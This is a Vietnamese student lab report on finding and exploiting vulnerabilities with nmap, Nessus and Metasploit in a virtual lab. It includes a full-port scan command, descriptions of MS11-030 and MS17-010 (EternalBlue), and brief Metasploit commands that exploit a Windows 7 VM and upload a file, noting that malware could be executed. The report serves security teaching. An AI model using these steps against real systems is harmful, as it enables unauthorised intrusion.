You are on page 1of 15

HỌC VIỆN CÔNG NGHỆ BƯU CHÍNH VIỄN THÔNG

KHOA AN TOÀN THÔNG TIN

BÀI 12:

Tìm kiếm và khai thác lỗ hổng

Giảng viên : Nguyễn Ngọc Điệp


Sinh viên thực hiện : Nguyễn Thành Danh
Mã sinh viên : B20DCAT028
Khóa : 2020 – 2025

Hà Nội, tháng 04 năm 2023


A. Mục đích thực hiện
- Hiểu được các mối đe dọa và lỗ hổng.
- Hiểu được cách thức hoạt động của một số công cụ rà quét và tìm kiếm
đe dọa và lỗ lổng như: nmap/zenmap, nessus, Metasploit framework.
- Biết cách sử dụng công cụ để tìm kiếm và khai thác các mối đe dọa, lỗ
hổng bao gồm: nmap/zenmap, nessus, Metasploit framework.

B. Tìm hiểu lý thuyết


1. Tìm hiểu về công cụ rà quét và tìm kiếm đe dọa và lỗ hổng nmap, zenmap
a) Giới thiệu chung:
- Nmap (tên đầy đủ Network Mapper) là một công cụ bảo mật được phát
triển bởi Floydor Vaskovitch. Nmap có mã nguồn mở, miễn phí, dùng để quét
cổng và lỗ hổng bảo mật.
b) Một số ưu điểm của nmap:
- Đa dạng chức năng: nmap hộ trợ nhiều các công cụ tiên tiến cho việc quét
hệ thống mạng bao gồm nhiều IP, tường lửa, router và một số các vật chắc khác.
Những công cụ này có thể bao gồm các cơ chế quét cổng (TCP, UDP), phát hiện
hệ điều hành (OS detection), phát hiện phiên bản, ...
- Khả năng quét lớn: nmap có thể được sử dụng để quét nhiều mạng lớn có
số lượng lên đến hàng trăm máy ảo
- Khả năng thích ứng cao: nmap có nhiều phiên bản có thể chạy trên hầu
hết các hệ điều hành phổ biến như: Linux, Microsoft Windows, FreeBSD,
OpenBSD, Solaris, IRIX, Mac OS X, HP-UX, NetBSD, Sun OS, Amiga...
- Dễ dàng sử dụng: nmap hỗ trợ cả giao diện dòng lệnh truyền thống và
giao diện đồ họa để phù hợp với nhiều đối tượng khách hàng
- Miễn phí: Mục đích chính của dự án Nmap là giúp Internet trở nên an
toàn hơn và cung cấp cho các quản trị viên/hacker một công cụ tiên tiến để khám
phá và cải thiện mạng của họ. Do đó, nmap được thiết kế hoàn toàn miễn phí và
đi kèm với mã nguồn chương trình để thuận tiện cho việc tùy chỉnh của mỗi cá
nhân.
c) Hướng dẫn sử dụng nmap để quét mạng:

2. Tìm hiểu về công cụ rà quét và tìm kiếm đe dọa và lỗ hổng nessus


a) Giới thiệu về Nessus:
- Nessus là một công cụ quét lỗ hổng bảo mật độc quyền được phát triển
bởi Công ty An ninh mạng Tenable trên các máy sử dụng hệ điều hành UNIX,
LINUX, Mac OS, Windows, được phát hành miễn phí cho việc sử dụng phi
thương mại
b) Cấu tạo của Nessus:
- Nessus Engine: nhận, thực thi và trả lời lại các câu yêu cầu quét của người
dùng. Việc quét các lỗ hổng được thực hiện theo các chỉ dẫn của các plugin
- Nessus Plugin: hệ thống file của ngôn ngữ kịch bản NASL, gồm các file
định nghĩa .inc và file kịch bản .nasl.
- Nessus Server: thực hiện các yêu cầu quét của người dùng, sau đó phân
tích, tổng hợp, trả lại kết quả cho Nessus client.
- Nessus Client: hiện thị kết quả quét cho người dùng thông qua trình duyệt
web
- Nessus Knowledge Base: “Cơ sở dữ liệu đã biết” của Nessus cho phép
các plugin sau tận dụng dữ liệu của plugin trước đó. Điều này giúp Nessus dễ
dàng mở rộng và tăng tốc độ thực thi
3. Công cụ Metasploit framework
a) Máy ảo Metasploitable:
- Metasploitable là một hệ thống Linux được phát triển với các lỗ hổng bảo
mật cao nhất, trong đó chúng tôi có thể thực hiện tất cả các thử nghiệm cần thiết
để cải thiện các kỹ thuật bảo mật hoặc biết cách tận dụng tối đa các ứng dụng
được thiết kế cho mục đích này.
- Metasploitable không có môi trường đồ họa và nên sử dụng riêng trong
các mạng riêng do khả năng chịu các cuộc tấn công. Một số tính năng của nó là:
+ Nó là nguồn mở
+ Nó cho phép kiểm tra lỗ hổng trong các tệp nhúng, thuộc tính tệp,
quyền, v.v.
b) Metasploit framework:
- Giới thiệu:
+ Metasploit Framework là một môi trường dùng để kiểm tra, tấn
công và khai thác lỗi của các service. Ban đầu Metasploit được xây dựng
từ ngôn ngữ hướng đối tượng Perl với những component được viết bằng C
và Python sau đó được viết lại bằng ruby. Đây là một công cụ mã nguồn
mở phát triển nhằm sử dụng các shellcode để tấn công, khai thác khai thác
lỗi của các dịch vụ Metasploit có thể chạy trên hầu hết các hệ điều hành:
Linux, Windows, MacOS
+ Trên Kali linux, Metasploit framework được cài đặt mặc định. Đối
với các nền tảng khác như Windows, macOS ... người sử dụng cần cài đặt
một cách thủ công.
- Chức năng chính:
+ Quét cổng để xác định các dịch vụ đang hoạt động trên server
+ Xác định các lỗ hổng dựa trên phiên bản của hệ điều hành và phiên
bản các phần mềm cài đặt trên hệ điều hành đó
+ Thử nghiệm khai thác các lỗ hổng đã được xác định
- Các tấn công máy Metasploitable bằng Metasploit framework: Để tấn
công bằng Metasploit framework ta tiến hành theo các bước:
+ Bước 1 (Chọn module exploit): lựa chọn chương trình, dịch vụ lỗi
mà Metasploit có hỗ trợ để khai thác
● use exploit_name: chọn module exploit
● show exploit: xem các module exploit mà framework có hỗ
trợ
● info exploit_name: xem thông tin về module exploit
+ Bước 2 (Cấu hình module exploit đã chọn):
● show options: Xác định những options nào cần cấu hình
● set: cấu hình cho những option của module đó
+ Bước 3 (Xác nhận những option vừa cấu hình):
● check: kiểm tra xem những option đã được set chính xác
chưa.
+ Bước 4 (Lựa chọn mục tiêu):
● show targets: những target được cung cấp bởi module đó
● set: xác định target nào
+ Bước 5 (Lựa chọn payload):
● show payloads: liệt kê ra những payload của module exploit
hiện tại
● info payload_name: xem thông tin chi tiết về payload đó
● set PAYLOAD payload_name: xác định payload module
name. Sau khi lựa chọn payload nào, dùng lệnh show options để xem
những options của payload đó
● show advanced: xem những advanced options của payload
đó
+ Bước 6 (Thực thi exploit):
● exploit: lệnh dùng để thực thi payload code. Payload sau đó
sẽ cung cấp cho bạn những thông tin về hệ thống được khai thác
C. Nội dung thực hành
1. Chuẩn bị môi trường
- Phần mềm VMWare Workstation hoặc Virtual Box hoặc các phần mềm
ảo hóa khác.
- Các công cụ nmap/zenmap, nessus, Metasploit framework.
+ Nmap:

+ Nessus:
+ Metasploit Framework:

- Máy tấn công: Kali Linux ( 10.10.19.148 )


- Máy nạn nhân: Windows 7 ( 10.10.19.137)

2. Sử dụng nmap/zenmap để quét các cổng dịch vụ (ít nhất 2 cổng).


- Tiến hành sử dụng câu lệnh sau để quét tất cả các cổng từ cổng 0 đến
cổng 65535 của máy Windows 7 đang mở và sử dụng kết nối TCP:
sudo nmap -p0-65535 -sT 10.10.19.137

- Chi tiết 1 số cổng:


+ Cổng 135/tcp: là một cổng được sử dụng bởi dịch vụ Microsoft
Windows RPC (Remote Procedure Call). RPC là một giao thức được sử dụng bởi
các hệ điều hành Windows để cho phép các chương trình giao tiếp với nhau qua
mạng. Cổng 135 thường được sử dụng bởi các dịch vụ của Microsoft, chẳng hạn
như Distributed Component Object Model (DCOM) và các dịch vụ Active
Directory.
+ Cổng 139/tcp: là một cổng được sử dụng trong giao thức NetBIOS
(Network Basic Input/Output System) của hệ thống Windows. Giao thức này cho
phép các máy tính trong mạng có thể giao tiếp với nhau để chia sẻ tài nguyên như
thư mục, file và máy in.
+ Cổng 445/tcp: là một cổng mạng được sử dụng trong giao thức
SMB (Server Message Block) của hệ thống Windows. SMB cho phép các máy
tính truy cập vào các tài nguyên chia sẻ trên mạng, chẳng hạn như thư mục, file
và máy in.
3. Sử dụng nessus để quét các lỗ hổng (ít nhất 2 lỗ hổng).

- MS11-030: Vulnerability in DNS Resolution Could Allow Remote


Code Execution (2509553) (remote check)
Lỗ hổng bảo mật MS11-030 là một lỗ hổng nghiêm trọng trong việc xử lý
DNS (Domain Name System) trên các máy chủ Windows. Lỗ hổng này cho
phép kẻ tấn công từ xa thực hiện mã độc hoặc các hành động độc hại khác trên
hệ thống mà không cần sự cho phép của người dùng.
Lỗ hổng này xảy ra khi máy chủ DNS của Windows không thể xử lý một
số truy vấn đặc biệt. Kẻ tấn công có thể tận dụng lỗ hổng này bằng cách tạo ra
một truy vấn độc hại được thiết kế để gây ra một tràn bộ đệm (buffer overflow)
trên máy chủ DNS. Khi máy chủ DNS không thể xử lý truy vấn này, nó sẽ chạy
mã độc được chèn trong truy vấn và cho phép kẻ tấn công có quyền điều khiển
từ xa hệ thống.
Vì lỗ hổng này cho phép kẻ tấn công thực hiện các hành động độc hại từ
xa trên hệ thống, nó được đánh giá là một trong những lỗ hổng nghiêm trọng và
được Microsoft khuyến cáo người dùng cập nhật bản vá ngay khi có thể.

- MS17-010: Security Update for Microsoft Windows SMB Server


(4013389)
Lỗ hổng bảo mật MS17-010 được xác định là một trong những lỗ hổng bảo
mật phổ biến trên hệ điều hành Microsoft Windows. Lỗ hổng này được phát hiện
trong dịch vụ SMB (Server Message Block) trên các phiên bản Windows, từ
Windows Vista đến Windows Server 2016.
Lỗ hổng cho phép kẻ tấn công thực hiện tấn công từ xa, thực hiện kiểm
soát máy tính bị tấn công và lấy trộm dữ liệu. Kẻ tấn công có thể khai thác lỗ
hổng này bằng cách gửi một gói tin độc hại đến máy tính mục tiêu thông qua
mạng. Nếu máy tính mục tiêu không được cập nhật bản vá bảo mật mới nhất, gói
tin độc hại sẽ được thực thi và cho phép kẻ tấn công chiếm quyền điều khiển hoàn
toàn trên máy tính mục tiêu.
Microsoft đã phát hành bản vá bảo mật MS17-010 để khắc phục lỗ hổng
này. Do đó, để đảm bảo an toàn cho hệ thống của mình, người dùng cần cập nhật
phiên bản Windows của mình với bản vá bảo mật mới nhất được cung cấp bởi
Microsoft.
4. Sử dụng Metasploit framework khai thác lỗ hổng:
- Chúng ta sẽ khai thác lỗ hổng trên windows 7 qua lỗ hổng MS17-010:
Security Update for Microsoft Windows SMB Server (4013389)
a) Mô tả về lỗ hổng:
Lỗ hổng trên giao thức SMB (Server Message Block) được đánh giá là một
trong những lỗ hổng bảo mật nghiêm trọng nhất từ trước đến nay. Lỗ hổng này
có mã định danh CVE-2017-0143 và còn được gọi là lỗ hổng EternalBlue.
Lỗ hổng này được phát hiện trong giao thức SMB trên các hệ điều hành
Windows của Microsoft vào tháng 3 năm 2017. Nó cho phép kẻ tấn công từ xa
thực hiện mã độc độc hại trên hệ thống mục tiêu thông qua việc gửi các gói tin
SMB tinh vi với nhiều tham số chứa mã độc độc hại. Khi hệ thống nhận được các
gói tin này, nó sẽ cố gắng giải mã và thực hiện mã độc, cho phép kẻ tấn công lấy
quyền kiểm soát hệ thống và thực hiện các hoạt động độc hại.
Lỗ hổng này ảnh hưởng đến các phiên bản của hệ điều hành Windows từ
Windows XP đến Windows Server 2016. Nó đã được sử dụng để tấn công hàng
loạt trên toàn cầu, bao gồm các cuộc tấn công ransomware WannaCry và
Petya/NotPetya vào năm 2017.
Microsoft đã phát hành bản vá khẩn cấp để khắc phục lỗ hổng này vào
tháng 3 năm 2017, nhưng vẫn có nhiều hệ thống chưa được cập nhật bản vá này.
Do đó, các quản trị viên hệ thống cần cập nhật bản vá mới nhất và đảm bảo tính
bảo mật của hệ thống.
Lỗ hổng bảo mật trong giao thức SMB (Server Message Block) của
Windows có thể gây ra nhiều hậu quả nguy hiểm cho hệ thống của bạn. Cụ thể,
lỗ hổng này có thể cho phép tin tặc tấn công từ xa vào hệ thống của bạn và thực
hiện các hoạt động độc hại như: truy cập trái phép vào các tài nguyên quan trọng
trên mạng, cài đặt phần mềm độc hại trên hệ thống, xóa, sửa đổi hoặc sao chép
các tập tin và thư mục trên hệ thống của bạn, ghi đè lên dữ liệu quan trọng trên
hệ thống của bạn, gây mất mát dữ liệu không thể khôi phục được, tấn công các
hệ thống khác trong mạng nội bộ của bạn.
Nếu không khắc phục lỗ hổng bảo mật SMB này, hệ thống của bạn có thể
bị tấn công và gây ra những hậu quả nghiêm trọng.
b) Khai thác lỗ hổng.
- Exploit bằng Metasploit:
Set LHOST 10.10.19.148
set RHOST 10.10.19.137
exploit

+ Kiểm tra thông tin máy:

+ Upload file đã được tạo sẵn có tên: MaDoc-NguyenThanhDanh.txt


+ Kiểm tra trên windows 7:

+ Tương tự chúng ta có thể cài các file mã độc và thực thi bằng lệnh
execute để chạy chúng.

You might also like